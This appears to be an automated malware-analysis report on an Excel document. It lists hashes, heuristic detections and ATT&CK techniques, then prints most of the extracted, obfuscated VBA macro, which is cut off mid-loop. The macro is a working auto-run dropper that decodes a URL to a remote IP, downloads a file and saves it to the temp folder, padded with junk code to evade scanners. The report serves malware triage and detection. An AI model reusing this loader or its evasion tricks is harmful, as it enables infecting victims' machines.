Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b7cb890af5c48ff2…

MALICIOUS

Office (OLE)

191.5 KB Created: 2018-06-27 11:10:32 Authoring application: Microsoft Excel First seen: 2018-11-05
MD5: 9e3d44d8fc11d9840a5e192528e1ced9 SHA-1: e18ac88c43ca33a5ff0a6aad556862d6d0d6d7a9 SHA-256: b7cb890af5c48ff28b1928f019268213b893b42477e2a78c3e0fdc8858db6f6f
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The file is an Excel document containing obfuscated VBA macros. The Workbook_Open macro is triggered automatically, and heuristics indicate it downloads and executes a file from the internet. The presence of the 'CreateObject' call and the 'HTTP .ResponseBody + .SaveToFile' heuristic strongly suggest the macro's intent is to fetch and run a second-stage payload. The 'SE_ENABLE_LURE' heuristic and the 'Enable Content' text in the document body indicate a social engineering tactic to trick the user into enabling macros.

Heuristics 9

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            DxcXo = GsXTCK.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set xlVmOy = CreateObject(SFdsmL("sHcSrEiRpUtzilnDgs.Qf#iClpe?sYygsptue$mkoGb#jFeicUt&"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xlVmOy = CreateObject(SFdsmL("sHcSrEiRpUtzilnDgs.Qf#iClpe?sYygsptue$mkoGb#jFeicUt&"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 90470 bytes
SHA-256: 2e60b8d9bd42a8a1ce1ef9d2a28403ed24b658ae4e98461c167dbbd40bd4c33f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
974 of 1457 identifiers look randomly generated (e.g. 'FQvTVBMobWnoqpDRzbElcliMQfTDFBuNHR') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Function LixKiT(jmJzNFe As String, bWbVwK As Double, TucRpT As Double, TyiVKq As Integer, cVXfOBP As String) As String
    cUyWtbz = Space(6)
    SbsvWABH = "dyu]muzpqEJiz*VEw-tw" + "mM(MApr&*!g." + " vF&$^$j]_KQe)OoxM"
    YBkqt = 625 - 538 - 1395
    drvQCYb = 1390 - 1198 - 226
    GfqvmIWM = Left("yTXU?OFiHM?m", 2)
    GfqvmIWM = Right("bZ(A#^&Mci]bi*%$", 2)
    pmuHR = RTrim("TKJ!.(?-)Xg")
    EvtmuX = Right(" PrsJNWILx[", 5)
    tyCWVQj = Right("SBpADkmXvsx#JO(fI($", 5)
    tyCWVQj = StrReverse("iQ-cta%qLZeYA#")
    For eETUCZ = 0 To 87
        EvtmuX = StrReverse("goSdWHmDNwoyLrK")
        YBkqt = Right("- ux!xDt%T", 4)
        YBkqt = LTrim("vcr.E.cM(N ")
        IGxkhs = RTrim("P)%HzyVKQ]&d[ZMR")
        YBkqt = Right("Mqg(*zoW%rRq?P_wVeBf", 4)
        SbsvWABH = Space(10)
        YgcRVZ = 1418 + 289 + 1622
        KPOoSEY = Left("(.YjYXUlCbHa@ynGh)P", 5)
        zXWTGuviz = Right("]oWXQMQL)!^", 4)
        EvtmuX = StrReverse("GAL$e.]h [bLoavl)b")
    Next eETUCZ

    cUyWtbz = LTrim("gIk!puJpm_-!%-")
    IGxkhs = Right("jINy)JZaR@zhEh]y!", 2)
    edjgR = Left("$JCReF^zIjqmLmqBmSc", 2)
    For YNgZTX = 0 To 391
        bPQJivSF = LTrim("N!q[%n$flhPyqCwiHe")
        cUyWtbz = StrReverse("cRat@gVare")
        zXWTGuviz = UCase("Y-bB z_SdrBk$")
        cUyWtbz = Right("(zD.aU$o*wcm^]", 4)
        YgcRVZ = "ekrrsVexbc." + "WJ.-peBYmld.Dy" + "idj[ze*)NwWZOs"
    Next YNgZTX

    KPOoSEY = Left("BSS^BEDWOMloP", 4)
    While QrtpVj < 143
        zXWTGuviz = LTrim("*[M-ySZhE?z%KPY")
        zXWTGuviz = StrReverse("[!D_ h[@W#hWTv%MM$%u")
        YgcRVZ = LTrim("]%Hssym(pjXN]AIZs.")
        edjgR = UCase(")QuKcp(tHMt")
        SbsvWABH = RTrim(" $CV_jKiYcoJWtG)CycJ")
        IGxkhs = Space(12)
        edjgR = Right("cL[fRD(!?PhPJgc", 2)
        YgcRVZ = Right("e%Km^E-gOixe-wRbzL@A", 5)
        QrtpVj = QrtpVj + 2
    Wend

    bPQJivSF = StrReverse("CTXMcf-tFu^")
    drvQCYb = StrReverse("Z(zoOcEBGEb]KykB%@[")
    edjgR = Space(8)
    bPQJivSF = StrReverse("$qvGx_AtlJ(hmvs")
    GfqvmIWM = Right("QLlHwbqWeL@*L&*r", 3)
    EvtmuX = "Rr]^Sx#Ws-Yc^" + "-f!ZGFXeQpUk" + "!mue?IvwkTeb&WBM^eQ&"
    SbsvWABH = 568 + 368 + 194
    KPOoSEY = "lC]NE^UuCx&]rp^GsHfU" + "mH*IVTn^[OoIDi.zS" + "#hsxR(gi?(jE"
    edjgR = 1099 - 663 - 1049
    SbsvWABH = Left("j[V%(YYR#HI", 5)
    YBkqt = Right("ZUZuph(_sYAFu^", 3)
    tyCWVQj = 1676 - 1418 - 504
    LixKiT = "PJEJpxsCsrHApDbbKivfcoKKmhOaD"
End Function

Private Sub Workbook_Open()
    Dim VOojkoif As String
    While DlvupF < 360
        EvtmuX = 1115 + 225 + 1853
        edjgR = RTrim("bISE)$k_rTax")
        pmuHR = RTrim("fNte%LjriOiilQoZ")
        YBkqt = 976 + 1765 + 521
        DlvupF = DlvupF + 2
    Wend

    tyCWVQj = Right("I!#i%TIePVnoCU&?[p", 5)
    YgcRVZ = "??MK)oreMOe" + "vwdOJX(MceWhQ" + "?saVh MfNr-beA? "
    While ViMuYk < 352
        pmuHR = 1412 - 809 - 1896
        YBkqt = UCase("_j xYW*kjXTP")
        ViMuYk = ViMuYk + 2
    Wend

    Set xlVmOy = CreateObject(SFdsmL("sHcSrEiRpUtzilnDgs.Qf#iClpe?sYygsptue$mkoGb#jFeicUt&"))
    IGxkhs = Left("@#zuUcgJQ?TNzGawHq.P", 2)
    GfqvmIWM = 1381 - 318 - 593
    drvQCYb = RTrim("l[sI$] IUysbJa")
    While pZFsYn < 254
        IGxkhs = RTrim("RV( -JXhB)n")
        IGxkhs = RTrim("RT]wtItB^.&WZYiNYkTu")
        tyCWVQj = Left("zQreIZH&VVZG", 5)
        KPOoSEY = 466 + 551 + 985
        drvQCYb = LTrim("vjxYammkta&")
        tyCWVQj = Space(5)
        GfqvmIWM = RTrim("X#NZ^&_cumnuTC-X$")
        cUyWtbz = Right("fFd(t[(DkxV kDwE", 5)
        edjgR = StrReverse("%sIsgz^DII?hCbVSeLI")
        pZFsYn = pZFsYn + 3
    Wend

    WyPuih = xlVmOy.GetSpecialFolder(1 + 1)
    zXWTGuviz = LTrim("i u&K rha?*jibQ")
    drvQCYb = StrReverse("h@%FFvMmzCKWrY?")
    KPOoSEY = RTrim("(fGb^]v)*ryLmfP-")
    pmuHR = RTrim(".s&?Bx.A&Y(fg")
    VOojkoif = StrReverse("BezxfeO.mR?vOadMwpjhFN")
    edjgR = LTrim("TxG&MKWJZWVD")
    zXWTGuviz = RTrim("sN(Tn[DOXugX")
    tyCWVQj = "cwMdWLQkiU&)hL.bfy^" + "Yaua*QNV(g-zu?xMa" + "h&L%If.sTK.bkFcBNBzl"
    KtXLMkaqe = 776 - 1727 - 981
    GfqvmIWM = StrReverse("*I%ph%bXs%!I!z!B)n__")
    For AiHfnq = 0 To 373
        GfqvmIWM = Space(10)
        pmuHR = 1522 - 1183 - 527
        SbsvWABH = RTrim("!z]TLW] *?.(.w")
        GfqvmIWM = LTrim("?oa]ZGNcxYL@MK)TG")
    Next AiHfnq

    zXWTGuviz = Space(11)
    pmuHR = LTrim("@PpCRcwDA&%")
    edjgR = Space(18)
    zXWTGuviz = 228 - 1207 - 1238
    While zIgIzU < 341
        KtXLMkaqe = RTrim(")u-!PNE@UPNNY")
        YgcRVZ = Right("o*ObejALFe", 3)
        tyCWVQj = "JLs)i)whb-olaDa^Mm(" + "GGfp&MspySYiJvNpC[cm" + "e)xK[eDepO"
        tyCWVQj = 1936 + 1869 + 563
        KtXLMkaqe = UCase("FyjVBO.aPC[Yk")
        pmuHR = LTrim("%Fz%KW@RLP^i?.RK*")
        YgcRVZ = 141 - 1211 - 1131
        YBkqt = UCase("#&RXq*)_? ")
        zIgIzU = zIgIzU + 3
    Wend

    drvQCYb = UCase("MLPD!$tHZDoFLK$")
    zXWTGuviz = Space(4)
    While GVPqIA < 107
        EvtmuX = UCase("EsLdc-FMgqICBPHV[xAc")
        SbsvWABH = Left("yS_S.oL_ojKK*Frst", 5)
        pmuHR = 1209 - 1933 - 625
        KtXLMkaqe = "@LZdhyU^Uz%" + "On*?Cj)Xeb@#!k(n" + "Nxy Mo%LzjLG^k$IF"
        zXWTGuviz = Space(7)
        SbsvWABH = LTrim("czhonZCY#%h#gXGCU&")
        KtXLMkaqe = StrReverse("Qjb$Ki@(WGUqtl")
        GVPqIA = GVPqIA + 2
    Wend

    GfqvmIWM = Left("^#Ku%pw%xRtza", 4)
    KPOoSEY = StrReverse("t_QVvxhiWSH-DXvT^IH")
    Dim GsXTCK, EUgBh As Object
    For dpmJKb = 0 To 314
        pmuHR = 1770 - 674 - 1546
        GfqvmIWM = LTrim("LTQj$M lsXBqopDV")
        zXWTGuviz = UCase(")McEzND_zbkueQ*$(O")
    Next dpmJKb

    YgcRVZ = Space(5)
    IGxkhs = Right("L$cUDeCFwH)srbPdZ)()", 4)
    GfqvmIWM = Left("Ebf]NA$NV[SfJ%@T^H", 5)
    IGxkhs = "H]DTBtmNBdRiDK p" + "NrHiQzFL^yll" + "f@a?sTC[KFxJq"
    edjgR = Left("cR&jxUn[Fn", 2)
    zXWTGuviz = RTrim("&AIuASPl YOdyrR")
    KPOoSEY = Right("GDAznjLDidusa]fUN", 2)
    While gDDJPG < 257
        KtXLMkaqe = "IaXD[*$wZFr)s#mTH" + "W?Jq.(QFwoZ-sp" + "!&EAcU$]$t-BF*"
        edjgR = Space(19)
        GfqvmIWM = LTrim("uhG%_A!oJoj*FqXgu")
        GfqvmIWM = RTrim("PnR%UDVK!aK?b")
        gDDJPG = gDDJPG + 1
    Wend

    Set GsXTCK = CreateObject(SFdsmL("MNimc*rBo sOoUf tC.UXMMTLOHqT]TEPc"))
    tyCWVQj = StrReverse("y[Qo]i*roGUJWV")
    YBkqt = Right(" o[KFu$te*aaCzF", 3)
    While FcXiGq < 388
        drvQCYb = Space(7)
        bPQJivSF = 1730 + 1075 + 1233
        KtXLMkaqe = 1856 - 1423 - 724
        bPQJivSF = LTrim(".pXs@WbzebGr?sRRJ")
        FcXiGq = FcXiGq + 3
    Wend

    For pgXIXd = 0 To 362
        KPOoSEY = 1745 + 560 + 1414
        drvQCYb = RTrim("gFbX^pxf&NWBrxXqL(")
        KtXLMkaqe = 568 - 1703 - 680
        EvtmuX = LTrim("M(Xud!O)O_")
        EvtmuX = StrReverse("oaV*awO)^Qj-i")
        bPQJivSF = "AM%jiJp#*PwsJ]" + "PP.VTPmub)zUI^JJ." + ")V[GB Y^yektkD"
        YBkqt = 508 + 1688 + 637
        tyCWVQj = 1452 - 298 - 1625
        zXWTGuviz = "UHX)Wp%-!XfTxq.KVBcb" + "LSaVgfiHmYnq" + "mNfy*eFwF?PWr#sD%i"
    Next pgXIXd

    zXWTGuviz = 260 + 1923 + 1378
    SbsvWABH = Space(20)
    pmuHR = "dUDA!_ugc]L" + "ZCYR%YT?$YkaEaEIUAd" + "jfRzcJlyfV-oB Aivb"
    bPQJivSF = 1905 + 1756 + 526
    iypGusC = SFdsmL("hLttt&p(:N/c/!1 3]1T.f1T5g3S.i3D8*.F1Q2z5t/$iBnTjbc#lDihe&n%t)su.teXxLeT")
    edjgR = Left("VcdjmbRb?](", 5)
    SbsvWABH = 581 + 561 + 717
    cUyWtbz = LTrim("VD*Njrcek(A.P")
    YgcRVZ = 1289 - 1610 - 1012
    While JrPlwu < 309
        zXWTGuviz = UCase("?V&W)Z.#dZi")
        GfqvmIWM = "gkZY[fJcdVzjPsm_%" + "K#k&ci^QudT!bsU]$" + "K.NJwoP%Eky"
        IGxkhs = LTrim("irY^ONotgxFiDU!")
        YBkqt = "VKJW#txh.JeHflYe#" + "LIXJy qIsp&U[cIMV" + "Vowlro@NwqUGGf"
        YBkqt = RTrim("#*VxbZ]nFtZ")
        edjgR = RTrim("(YLXDkg@fwerr a$C")
        YBkqt = 921 + 1603 + 1930
        JrPlwu = JrPlwu + 1
    Wend

    tyCWVQj = Left("yermL#?]Fpurte^aNG", 4)
    For blkIUw = 0 To 225
        EvtmuX = Space(9)
        IGxkhs = Right("Fw]!NXp!.B", 5)
        cUyWtbz = StrReverse("_Mc$%j.)DqG[TL]@mA)")
        bPQJivSF = LTrim("LjBOCZlfv&[bDY")
        zXWTGuviz = 147 + 244 + 1395
        SbsvWABH = Left("qBNS-wXz#iJ&", 2)
        KPOoSEY = LTrim("zCl^Ov&e s-[oy)G&kle")
        edjgR = Left("gf-BnWoN%TXZwua_^^E", 3)
        tyCWVQj = StrReverse("gFdC*YDd)u")
    Next blkIUw

    edjgR = 989 - 1561 - 1762
    Call GsXTCK.Open(SFdsmL("GbErTP"), iypGusC, False)
    bPQJivSF = 1088 + 1459 + 367
    bPQJivSF = Right("j.dR?My&EWK", 2)
    zXWTGuviz = StrReverse("%Hrabw-(QCE")
    drvQCYb = Space(14)
    KtXLMkaqe = "ytvrLAntu)Oxu*nJ[h@S" + "*n.yD!]T?%" + "HZ^HN%Y(gTUlYJ)"
    zXWTGuviz = StrReverse("P?UzI[am[]#")
    tyCWVQj = 1695 - 1057 - 1378
    KPOoSEY = LTrim("bPQ@xsO.^X$gmWaQwsi")
    cUyWtbz = RTrim("!T*A@I)&&um)")
    GfqvmIWM = StrReverse("yxHk)BAozYJJ-Mzo")
    GsXTCK.send
    edjgR = LTrim("g_Bg$]O%Py*qjY t^")
    While XrOtgE < 226
        tyCWVQj = "cW^mKm$OW&i.h" + "HjzvjiOqIxX!V" + "c@)]u^^!A?z ORy#HM"
        KPOoSEY = Space(16)
        edjgR = Space(7)
        bPQJivSF = RTrim("Q[@D&zdfLAB_Xs")
        tyCWVQj = UCase("yYsPbK?mj&Yx")
        KtXLMkaqe = Right("_gv]bbJHP_K^IDvIx", 2)
        XrOtgE = XrOtgE + 1
    Wend

    EvtmuX = Space(7)
    For eUbKRz = 0 To 292
        cUyWtbz = RTrim("[-vufo] zaE")
        edjgR = 1096 - 1538 - 1230
        edjgR = RTrim(".o%bO&Gg[i")
        KPOoSEY = Right("AFc[yD$VOzR?vV(#SF", 2)
        GfqvmIWM = Right("#v#!h^_O^Jz EunaPtqr", 4)
        KPOoSEY = "$gqBPsyHJSjy]Lj" + "ndbKpwg_&MASmskE" + "iMbY-iwzDfT[cQ"
    Next eUbKRz

    While gRXJSu < 71
        pmuHR = RTrim("Fi*_AHciJtjO")
        KPOoSEY = "As?l]Mz.-h" + "*ffm%UMQ#zcXBeKT" + "bJcLJWIbQmwENNE&f^"
        EvtmuX = "E!.!IVEmsAbqlF QX*" + "_gSm$uO$MS" + "qjmoTZ$#fKgM"
        gRXJSu = gRXJSu + 1
    Wend

    For EucOhm = 0 To 16
        edjgR = "Yog!jhz@iZ*#._" + ".unvdMdyenyf*Kv@BSv" + "G.mFp (SqHWAd]"
        bPQJivSF = "rgXAnug(XJ" + "VJ(xCR?liTxBMW." + "kqSQnD*XI-r)bZS"
        bPQJivSF = Right("kKlyUXJY!@Ys.)I NYK-", 5)
        SbsvWABH = Left("MMyRFy.PsfYvnD-ME", 2)
        cUyWtbz = LTrim("PV$^%![!$$VcQuA*-")
        YgcRVZ = Right("@Jq!?FyODb", 5)
    Next EucOhm

    While QgxPVx < 93
        zXWTGuviz = UCase("(z?$!p)pDiKuoTfi")
        bPQJivSF = 1437 - 1490 - 1276
        bPQJivSF = 461 + 530 + 312
        GfqvmIWM = StrReverse("WWDOG*DJ[JR(S")
        YBkqt = Right("?lGBsffaiL?PeE", 3)
        KtXLMkaqe = LTrim("_Qk)%Gfq-ylHh%F")
        QgxPVx = QgxPVx + 2
    Wend

    While fhoUIF < 157
        drvQCYb = Left("!gS(rG!%hG gobqVv)*R", 5)
        KtXLMkaqe = 915 + 384 + 1645
        SbsvWABH = Space(1)
        KtXLMkaqe = 1340 - 1757 - 129
        zXWTGuviz = Right("T.Mx^?s)sAi", 4)
        KtXLMkaqe = UCase("BeripZ& kKKiB.GerO i")
        KtXLMkaqe = UCase("k]F?IDZDYTLf!d)k?sl")
        cUyWtbz = RTrim("s pKeiu.Vd")
        fhoUIF = fhoUIF + 1
    Wend

    SbsvWABH = LTrim("dcICvKN(t]")
    SbsvWABH = "].h$RdoARrBelCg" + "*_Jsa^P)SjVy" + "$J@?l gDu[w"
        Set EUgBh = CreateObject(SFdsmL("AkDXOUDcBd.sSctAr%eRaDmN"))
    pmuHR = 1223 - 1274 - 294
    pmuHR = LTrim("Ahe).VStUBJBtlJy")
    pmuHR = Left("I(nnO(qUVpPY.", 3)
    While gBlyIL < 73
        KtXLMkaqe = Right("T*P?-(QQBCIwezlED", 5)
        YgcRVZ = Right("IdzwgHdxKtX", 3)
        cUyWtbz = LTrim("mAXPQqu#%Ij")
        zXWTGuviz = Space(19)
        zXWTGuviz = 808 + 983 + 103
        edjgR = 544 - 1290 - 1976
        YgcRVZ = 1455 - 692 - 1776
        bPQJivSF = LTrim("GTT@sd^(oUg(W@#s")
        gBlyIL = gBlyIL + 3
    Wend

    For cDlDEH = 0 To 30
        drvQCYb = Left(" bkRqr(L##", 5)
        bPQJivSF = 180 - 1547 - 754
        bPQJivSF = "gdo#Juz*yzzH.Z?" + "CwwshULdcKfm!l%" + "!.AX.#mnnq"
        KPOoSEY = "JxM@O)[R]oqRag%?" + "h$?&.R]yshJ_O" + "wWf$m-UtVOjmpxJO]yw"
        pmuHR = RTrim("!cLRyudR_Zwccsr-mC")
        drvQCYb = Right("fvFUyCH[v!", 2)
        IGxkhs = UCase("hV@q_hyA^BpxIntYP")
    Next cDlDEH

    bPQJivSF = Right("lWDmemUeNq-", 3)
    YBkqt = 703 + 1474 + 1811
        EUgBh.Open
    GfqvmIWM = Left("*X-#atp@]WSMvMKF", 3)
    YBkqt = 1827 - 1855 - 397
    drvQCYb = "E[PEZnFZ%ooG^@?&apH" + "F]eYrN)*Fha@]" + "u@&HUueBJmHeFj]NfDh&"
    tyCWVQj = "Vk)WsXSmvKriLCw*-f" + "UT@vUOTAtzpM$aq" + "y[MU_FHsGZ^YZNb"
    IGxkhs = Space(13)
    IGxkhs = UCase("f@p#d[D! POXQ(m")
    pmuHR = 924 + 1248 + 1252
        EUgBh.Type = 7 - 4 - 2
    drvQCYb = 628 - 1674 - 164
    For bLXzSG = 0 To 37
        KPOoSEY = Left(")$xwuMhk%h(fKpw^s", 5)
        IGxkhs = UCase("%FhQk_ULlGoW*[_b.k")
        pmuHR = Right("MdjsctTTVstm ", 5)
        pmuHR = Right("aEXD^)KBp)lAOm", 2)
    Next bLXzSG

    tyCWVQj = 396 - 1209 - 893
    edjgR = StrReverse("M#KgkzJ.tlM_lhutQu$H")
    drvQCYb = RTrim("eW_mlLe#oJw ")
    tyCWVQj = 1455 - 1939 - 595
    GfqvmIWM = 1533 + 1474 + 1214
        DxcXo = GsXTCK.responseBody
    While qAnHlQ < 311
        bPQJivSF = LTrim("zQ(NV@qt*UHgUz")
        GfqvmIWM = 1284 + 698 + 358
        KPOoSEY = StrReverse("-Y)njQ! fqtZw%")
        GfqvmIWM = StrReverse("[KcpC %mWW?Ku")
        qAnHlQ = qAnHlQ + 2
    Wend

    KPOoSEY = Space(8)
    While pjLuxY < 279
        pmuHR = 1121 + 1517 + 1302
        GfqvmIWM = RTrim("b[ep[!jrNyWEkGXKl")
        EvtmuX = Left("RqcdNr OLlp.DY", 3)
        KPOoSEY = Space(8)
        pjLuxY = pjLuxY + 1
    Wend

    edjgR = UCase("wPycEJ#EAhgpzxi")
    edjgR = Left("&MPNeUMgVi).CSy(^E*", 4)
    While OUdZBO < 202
        KtXLMkaqe = LTrim("sJzgEx  )?N?yy.lcbu")
        drvQCYb = "GPSFzYKb H" + "Qa!]-i .CwLkf^^" + "iCX_@opt]jhSjb^@"
        edjgR = Right("S?O-DUQvvg(EBnX#x", 3)
        bPQJivSF = UCase("Ywwmt?HOMQ$^GMApaFe%")
        tyCWVQj = LTrim("crsn XpOGfUu")
        OUdZBO = OUdZBO + 1
    Wend

    While behoye < 244
        GfqvmIWM = Right("-!DKxBJ]rk@", 2)
        KPOoSEY = StrReverse("@.q)yu]nS#OjMo&Vt")
        tyCWVQj = Right("z!vXbCnrkJBdsBd", 3)
        SbsvWABH = Left("]xL[mbheYgOR", 3)
        YgcRVZ = Space(7)
        GfqvmIWM = StrReverse("^Ff*fQTTTh_B")
        EvtmuX = UCase("Sk. %AbVs(O$QwrJ.kCF")
        YBkqt = Left("J dA b)KlS%A$$T", 3)
        behoye = behoye + 1
    Wend

    For lYdPjU = 0 To 217
        edjgR = Left(")*CeJ&pdRvfQ]f", 3)
        pmuHR = Right("K#hYfL-jndaHJU CEG", 4)
        YgcRVZ = Space(4)
    Next lYdPjU

    KPOoSEY = LTrim("$%dZCtQYXIAgf")
    For LPGdVI = 0 To 137
        KPOoSEY = Left("ywP#&%.OD?aJ", 3)
        bPQJivSF = LTrim("uAW$xPBRvgWi!txBAEJC")
        KPOoSEY = "y@_GHaTF^?" + "R@nqNUUjhbnZ^wpZk J^" + "p)&p^EVvc&Iq b.^["
        tyCWVQj = "Po$rZ#I$HjbqfEl" + "Xo)dWDbi*a-" + "eFQf@YXY&$u^Sh-dT"
        GfqvmIWM = UCase("YuFhsrK Ef.DyeTDH")
        KPOoSEY = LTrim("$Bag%IVY?x")
        tyCWVQj = Space(5)
        pmuHR = Space(7)
        SbsvWABH = "Z(t)!Ox!ZvC.br" + "hOodkBOe%-agcLiDIB" + "l]B-akEe&jWAA?pY!"
    Next LPGdVI

        EUgBh.Write DxcXo
    tyCWVQj = 889 + 856 + 1094
    While DEMilb < 219
        drvQCYb = Space(4)
        bPQJivSF = "J) @q-]QB^lH" + "?I?xG#XRLxO-Rzv!xG" + "V..@BiPipn"
        drvQCYb = Space(8)
        bPQJivSF = StrReverse("Qut#Qq?D&Ls")
        EvtmuX = "FC%]&mg#-rUO[GRbj?_m" + "KMdMH*TS]Ows)p-gflG" + "-Mn$YCoybR?Nn"
        DEMilb = DEMilb + 3
    Wend

    tyCWVQj = Right("$CrJDN-U%%KCdUNP", 3)
    tyCWVQj = StrReverse("RXSzPJfg-.YpkY&")
    zXWTGuviz = Space(12)
    While gFeQJT < 82
        KPOoSEY = UCase("dIJ!Ef.&vCff^g")
        YgcRVZ = 1537 - 1198 - 195
        YBkqt = Left("EsI^q%tre*V", 5)
        KPOoSEY = UCase("X%AR$wlLH-?g]")
        KtXLMkaqe = LTrim("?Tq[BSGahM)")
        gFeQJT = gFeQJT + 1
    Wend

    SbsvWABH = 1204 - 1570 - 322
    KtXLMkaqe = RTrim("uo_?PsKFIeWTe#mblaIU")
    IGxkhs = LTrim("$hkPeS!ycreZ_TukfQ")
        Dim mispYJ As Object
    bPQJivSF = Right("E$AfCOB.eGs-to", 3)
    For iPvwaf = 0 To 340
        SbsvWABH = 316 + 593 + 420
        tyCWVQj = "nS)^I[?Xm_H" + "x@^duBw^siFgWo" + "sZ%_-AsF#]l(f"
        EvtmuX = LTrim("j!p!w$Guza[NX.")
        tyCWVQj = 152 + 374 + 1153
    Next iPvwaf

    YgcRVZ = Right("fAiO$P%]fy!hjlOlRe$j", 2)
    For oZfVNz = 0 To 213
        EvtmuX = Space(10)
        GfqvmIWM = Right("]V@M@WLeLjeOH asJ", 3)
    Next oZfVNz

    SbsvWABH = StrReverse("M!(F%SX!kD&[_PF#")
    IGxkhs = 1582 - 265 - 1439
    EvtmuX = StrReverse("P*b)yY&PvVM]NMvMm[Gx")
        Set mispYJ = CreateObject(SFdsmL("s_c[rYijpntAi*n?go.wf@iQl#e#sqy&sStjeVmyohb!j%eYcHtv"))
    While HyGztx < 358
        KPOoSEY = RTrim("OPL-&ntg]NU#gh$BAQE]")
        IGxkhs = 565 - 1978 - 226
        zXWTGuviz = "[ekv&G@%dNThzy_ebq" + "ujejNMwyklI[&keGL" + "Rq@eBe#LZD["
        YgcRVZ = RTrim("TVta-YT(JusXKReGv")
        KtXLMkaqe = Right("LNOpvEvC^W]wB_mNZW", 4)
        SbsvWABH = Space(6)
        IGxkhs = Space(20)
        EvtmuX = 434 + 318 + 481
        drvQCYb = LTrim("odhrXOBeBbPwe%OR")
        HyGztx = HyGztx + 1
    Wend

    SbsvWABH = Right("?@Kh#MVs%P?", 5)
    While SsZSzG < 304
        IGxkhs = "SSiXaPTC[$vzyR)#au" + "uqjnHhNk)MQVo$o" + "tXZcN)s]hD(rdHZ!M"
        IGxkhs = "BJuJnL@BiXM" + "N^l.*JMQRvWBLW*ML" + "e&TX.nKa!Am"
        IGxkhs = RTrim("GoCru_()TCDb!_ht)")
        KtXLMkaqe = RTrim(" S(@kUndj@z^ICGPH&")
        GfqvmIWM = Left("pP&Hsqeg-YY BPCYseu", 4)
        YBkqt = UCase("l)dnBZG!UZP$j-%")
        YgcRVZ = Space(6)
        YBkqt = Space(3)
        SsZSzG = SsZSzG + 1
    Wend

    EvtmuX = 1041 + 141 + 630
    GfqvmIWM = 1978 + 576 + 380
    IGxkhs = Space(1)
    tyCWVQj = 572 - 1264 - 1786
    bPQJivSF = Right("J%MeDi?KTSu(vi[q", 4)
    YBkqt = Right("Ra*YpPUT_yQnEJ", 5)
    While XKUuxU < 214
        YgcRVZ = StrReverse("[Us%_qs%pNnt")
        zXWTGuviz = 1034 + 1938 + 1813
        pmuHR = StrReverse("*.&[Xj!I ?Tll$%gx")
        bPQJivSF = "YD*.mcpP&DKacA(vRB" + "lsSPPInRNB]*jMhWpb" + "a)YodHUuOe[Lgqdaa"
        cUyWtbz = 1262 - 1032 - 605
        XKUuxU = XKUuxU + 3
    Wend

        sxNUn = mispYJ.GetSpecialFolder(10 - 8)
    KPOoSEY = RTrim(".@i]acLyF-Dse?NDLxd")
    For WCzpoW = 0 To 198
        tyCWVQj = 982 + 1466 + 496
        bPQJivSF = "-%KMmMXOWh" + "B^$YZYFR#)^.lCJPr" + "y[TDQv.G(ZO^uvyWhT%"
        pmuHR = StrReverse("t_srr$PO-YLPYdIv?Of")
        IGxkhs = Right("Tve@ raDQ-gkzOw.e", 4)
        SbsvWABH = Right("ihJeFp(Sp_EKC(", 5)
        pmuHR = Left("S@x%e(?.dFcys", 2)
        KPOoSEY = Right("ZznG$KF*%vPaiOXztI?r", 5)
    Next WCzpoW

    YBkqt = 920 - 682 - 361
    EvtmuX = UCase("&)ZG(pqOxUb %ZgHfJ")
    YgcRVZ = UCase("HiQ(u@vJdRtPRbeP")
    pmuHR = UCase("[mpY-$.kWE%K)[$")
    For uWMLTg = 0 To 353
        GfqvmIWM = 1481 - 835 - 416
        KtXLMkaqe = 149 + 375 + 1388
        YBkqt = UCase("_DADz#yOfF*")
        drvQCYb = Space(14)
    Next uWMLTg

        Call EUgBh.SaveToFile(sxNUn & "\\" & SFdsmL("NchopdMkabvfRB.heRxEet"), 4 - 2)
    While IVykzb < 291
        KPOoSEY = RTrim("(UUYAhNqUL%Q")
        KtXLMkaqe = 1525 - 810 - 793
        IVykzb = IVykzb + 3
    Wend

    For RbBILl = 0 To 53
        zXWTGuviz = RTrim("WN]Kt(UBJHi&Z#F^")
        bPQJivSF = RTrim("ZDh vcDZ$w&RNLeRPva^")
        GfqvmIWM = "yBX.M*vFYnP" + "?SABvEKf^ yWNJ_B" + "FYO w^fpyLz"
